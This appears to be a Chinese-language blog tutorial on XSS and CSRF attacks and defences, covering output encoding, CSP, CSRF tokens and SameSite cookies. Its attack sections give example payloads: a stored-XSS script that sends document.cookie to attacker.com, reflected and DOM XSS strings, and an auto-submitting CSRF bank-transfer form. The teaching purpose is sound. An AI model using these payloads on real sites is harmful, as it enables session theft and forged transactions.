XSS(Cross-Site Scripting,跨站脚本)和 CSRF(Cross-Site Request Forgery,跨站请求伪造)是 Web 应用最常见的两种攻击方式。本文深入分析其原理、变种与防御方案。
1. XSS 跨站脚本攻击
1.1 XSS 类型对比
| 类型 | 触发方式 | 持久化 | 危害 | 示例 |
|---|---|---|---|---|
| 反射型 | 恶意链接诱骗点击 | 否 | 中 | 钓鱼邮件中的恶意 URL |
| 存储型 | 恶意脚本存入服务端 | 是 | ★★★ | 评论中插入 <script> |
| DOM 型 | 前端 JS 处理不当 | 否 | 中 | #hash 内容直接插入 DOM |
1.2 反射型 XSS
攻击流程:
1. 攻击者构造恶意 URL:
https://example.com/search?q=<script>alert(document.cookie)</script>
2. 诱骗用户点击链接(邮件、社交媒体)
3. 服务端将 q 参数直接返回页面:
<div>搜索结果:<script>alert(document.cookie)</script></div>
4. 恶意脚本在用户浏览器中执行
1.3 存储型 XSS
攻击流程:
1. 攻击者在评论区提交:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
2. 服务端将评论存入数据库
3. 其他用户浏览页面时,服务端从数据库取出评论直接输出
4. 所有查看该页面的用户都会执行恶意脚本
危害:蠕虫攻击(如 Samy 蠕虫感染 MySpace 百万用户)
1.4 DOM 型 XSS
// ❌ 危险的 DOM 操作
const hash = window.location.hash.substring(1);
document.write(hash); // #<img src=x onerror=alert(1)>
// ❌ innerHTML 直接插入用户输入
document.getElementById('output').innerHTML = userInput;
// ✅ 使用 textContent
const div = document.getElementById('output');
div.textContent = userInput; // 自动转义 HTML
// ✅ URL 片段安全处理
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
// 不要直接插入 DOM,必须经过转义或安全处理
2. XSS 防御体系
2.1 输出编码(核心防御)
// OWASP Java Encoder
import org.owasp.encoder.Encode;
public class XssUtil {
public static String forHtml(String input) {
return Encode.forHtml(input);
// < → < > → > " → " ' → ' & → &
}
public static String forJavaScript(String input) {
return Encode.forJavaScript(input);
}
public static String forHtmlAttribute(String input) {
return Encode.forHtmlAttribute(input);
}
public static String forCssString(String input) {
return Encode.forCssString(input);
}
public static String forUriComponent(String input) {
return Encode.forUriComponent(input);
}
}
编码上下文规则:
| 上下文 | 编码方式 | 示例 |
|---|---|---|
| HTML 内容 | HTML Entity | <div> → <div> |
| HTML 属性 | HTML Attribute | value" onclick="alert(1) → value"... |
| JavaScript | JS Hex | ");alert(1);// → \x22);alert(1);// |
| CSS | CSS String | expression(alert(1)) → 转义或过滤 |
| URL | URL Encode | javascript:alert(1) → 协议白名单 |
2.2 输入验证
@Pattern(regexp = "[a-zA-Z0-9_]{3,20}", message = "用户名格式错误")
private String username;
@SafeHtml(whitelistType = SafeHtml.WhiteListType.NONE)
private String comment;
// 在控制器层统一处理
@InitBinder
public void initBinder(WebDataBinder binder) {
StringTrimmerEditor editor = new StringTrimmerEditor(false);
binder.registerCustomEditor(String.class, editor);
}
2.3 Content Security Policy (CSP)
CSP 是 XSS 的最强防御之一,通过响应头限制页面可加载的资源:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.googleapis.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
| 指令 | 含义 |
|---|---|
default-src | 默认策略 |
script-src | JS 加载来源 |
style-src | CSS 加载来源 |
img-src | 图片来源 |
connect-src | XHR/WebSocket/fetch |
frame-ancestors | 允许嵌入该页面的来源 |
base-uri | <base> 标签限制 |
form-action | 表单提交目标 |
Nonce 方式(推荐):
// 后端生成随机 nonce
String nonce = UUID.randomUUID().toString();
response.setHeader("Content-Security-Policy",
"script-src 'self' 'nonce-" + nonce + "'");
model.addAttribute("cspNonce", nonce);
<!-- Thymeleaf 模板 -->
<script th:nonce="${cspNonce}">
// 合法的内联脚本
</script>
2.4 其他防御措施
# HttpOnly Cookie(XSS 无法读取 Cookie)
Set-Cookie: sessionid=xxx; HttpOnly; Secure; SameSite=Strict
# X-XSS-Protection(浏览器内置,现代浏览器已弃用,依赖 CSP 即可)
X-XSS-Protection: 0
3. CSRF 跨站请求伪造
3.1 攻击原理
攻击流程:
1. 用户登录银行网站 bank.com,Cookie 已保存
2. 用户访问攻击者网站 attacker.com
3. attacker.com 页面包含:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
或自动提交的表单:
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit()</script>
4. 浏览器自动携带 bank.com 的 Cookie 发送请求
5. 银行网站信任该 Cookie,执行转账
核心:利用浏览器自动发送 Cookie 的机制,伪造用户身份
3.2 防御方案一:CSRF Token
// Spring Security 自动配置
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));
return http.build();
}
}
// HTML 表单中嵌入 Token
<form method="post" action="/transfer">
<input type="hidden" name="_csrf" value="${_csrf.token}"/>
<!-- 或使用请求头(AJAX) -->
</form>
// AJAX 请求自动携带
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-TOKEN': getCsrfTokenFromCookie() // 从 Cookie 读取
}
});
// 服务端验证:请求中的 Token 必须与 Session/Cookie 中的匹配
3.3 防御方案二:SameSite Cookie
Set-Cookie: sessionid=xxx; SameSite=Strict; Secure
| SameSite | 行为 | 适用 |
|---|---|---|
Strict | 仅同站请求携带 Cookie | 最安全,但影响部分跨站链接体验 |
Lax | GET 请求允许跨站(POST 仍禁止) | 平衡安全与体验(推荐) |
None | 允许所有跨站请求(必须配合 Secure) | 需要跨站嵌入的场景 |
// Spring Boot 配置
server.servlet.session.cookie.same-site=lax
3.4 防御方案三:Double Cookie(状态无关)
机制:
1. 设置 Cookie: csrf_token=random_value; SameSite=Lax
2. 前端读取 Cookie 值,放入请求头:X-CSRF-Token: random_value
3. 服务端比较 Cookie 中的值和请求头中的值是否一致
优势:
- 不需要服务端存储 Session
- 适合无状态 REST API
- 分布式/微服务友好
// 自定义 Double Cookie 过滤器
public class DoubleCookieCsrfFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest req,
HttpServletResponse res,
FilterChain chain) {
if ("POST".equals(req.getMethod())) {
String cookieToken = getCookieValue(req, "csrf_token");
String headerToken = req.getHeader("X-CSRF-Token");
if (cookieToken == null || !cookieToken.equals(headerToken)) {
res.setStatus(HttpServletResponse.SC_FORBIDDEN);
return;
}
}
chain.doFilter(req, res);
}
}
3.5 防御方案四:Referer/Origin 检查
// 检查请求来源
String origin = request.getHeader("Origin");
String referer = request.getHeader("Referer");
if (origin == null || !origin.equals("https://example.com")) {
throw new CsrfException();
}
注意:Referer 可能被浏览器禁用或代理移除,不应作为唯一防御。
4. 综合防御矩阵
| 防御层 | XSS 防御 | CSRF 防御 |
|---|---|---|
| 网络层 | WAF | - |
| 响应头 | CSP, X-Content-Type-Options | SameSite Cookie |
| Cookie | HttpOnly, Secure | SameSite, Double Cookie |
| 输入 | 前端/后端输入验证 | - |
| 输出 | HTML/JS/CSS/URL 编码 | - |
| 表单/请求 | - | CSRF Token, Origin 校验 |
| 框架 | 模板引擎自动转义 | Spring Security, Django CSRF |
5. 总结
XSS 和 CSRF 虽然都是"跨站"攻击,但攻击方式和防御策略截然不同:
XSS:攻击者向网站注入恶意脚本(输入→输出)
└── 防御:不信任任何用户输入,输出必须编码,CSP 兜底
CSRF:攻击者利用用户已登录状态伪造请求(利用 Cookie)
└── 防御:SameSite Cookie + CSRF Token + Origin 校验
现代 Web 框架(Spring Security、Django、Rails、Laravel)都内置了这些防御机制,开发者应理解原理并正确配置,而不是自行造轮子。
继续阅读
探索更多技术文章
浏览归档,发现更多关于系统设计、工具链和工程实践的内容。